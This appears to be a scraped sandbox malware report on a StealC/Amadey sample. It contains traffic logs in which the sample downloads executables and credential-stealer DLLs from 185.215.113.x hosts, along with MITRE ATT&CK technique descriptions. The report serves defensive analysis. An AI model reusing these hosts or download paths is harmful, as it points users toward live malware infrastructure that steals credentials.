Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1725764978&P2=404&P3=2&P4=WBb34KuFQqMwDM0qCf5hz6r9hwUe5kC8GPtmqdap%2fkx%2fUQ2ctKkN0FeRtfBg52MWh%2be0L4CPD6GZPQj%2b20%2fKxQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ijXf796fROVwWTc8/tYMCuSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8

Source: unknown	TCP traffic detected without corresponding DNS query: 104.46.162.224
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.32
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 40.127.169.103
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.19
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlZXXSS8OOahzWV&MD=pbZWEaDG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=MlZXXSS8OOahzWV&MD=pbZWEaDG HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: EntityExtractionDomainsConfigSec-Mesh-Client-Edge-Version: 117.0.2045.47Sec-Mesh-Client-Edge-Channel: stableSec-Mesh-Client-OS: WindowsSec-Mesh-Client-OS-Version: 10.0.19045Sec-Mesh-Client-Arch: x86_64Sec-Mesh-Client-WebView: 0Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /favicon.ico HTTP/1.1Host: www.google.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-arch: "x86"sec-ch-ua-full-version: "117.0.2045.47"sec-ch-ua-platform-version: "10.0.0"sec-ch-ua-full-version-list: "Microsoft Edge";v="117.0.2045.47", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132"sec-ch-ua-bitness: "64"sec-ch-ua-model: ""sec-ch-ua-wow64: ?0sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://accounts.google.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /crx/blobs/AY4GWKBMNax_FQrZEVzNkO_0mu3UShnzR6AihR_EPjVIUOT_pwZzkWCpOk8YKIu0qnIq_YObWXuPyiJ7NA0nDjMHUEYIIEknsNvJHXuPd0MqxESzoxi9xiMyJKNwZiVV1yEAxlKa5UVe61sINARQ7fO9dE0bkfP_W4GG/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_80_1_0.crx HTTP/1.1Host: clients2.googleusercontent.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /assets/arbitration_priority_list/4.0.5/asset?assetgroup=ArbitrationService HTTP/1.1Host: edgeassetservice.azureedge.netConnection: keep-aliveEdge-Asset-Group: ArbitrationServiceSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1725764978&P2=404&P3=2&P4=WBb34KuFQqMwDM0qCf5hz6r9hwUe5kC8GPtmqdap%2fkx%2fUQ2ctKkN0FeRtfBg52MWh%2be0L4CPD6GZPQj%2b20%2fKxQ%3d%3d HTTP/1.1Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.comConnection: keep-aliveMS-CV: ijXf796fROVwWTc8/tYMCuSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sun, 01 Sep 2024 01:45:41 GMTIf-None-Match: "66d3c745-1b0600"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/sqlite3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/freebl3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/mozglue.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/msvcp140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/nss3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/softokn3.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /0d60be0de163924d/vcruntime140.dll HTTP/1.1Host: 185.215.113.100Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.100Connection: Keep-AliveCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAAAECGHCBGCBFHIIDHI

C:\ProgramData\BFHDAEHDAKECGCAKFCFI

C:\ProgramData\ECBAEBGH

C:\ProgramData\HCGCBFHCFCFBFIEBGHJECGHCFI

C:\ProgramData\HDAFIIDAKJDGDHIDAKJJ

C:\ProgramData\IIJEBAECGCBKECAAAEBFBGHJJE

C:\ProgramData\JDBFIIEB

C:\ProgramData\KKJDGDHIDBGIECBGHJDBAAKJDH

C:\ProgramData\freebl3.dll

C:\ProgramData\mozglue.dll

C:\ProgramData\msvcp140.dll

Windows Analysis Report
file.exe

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre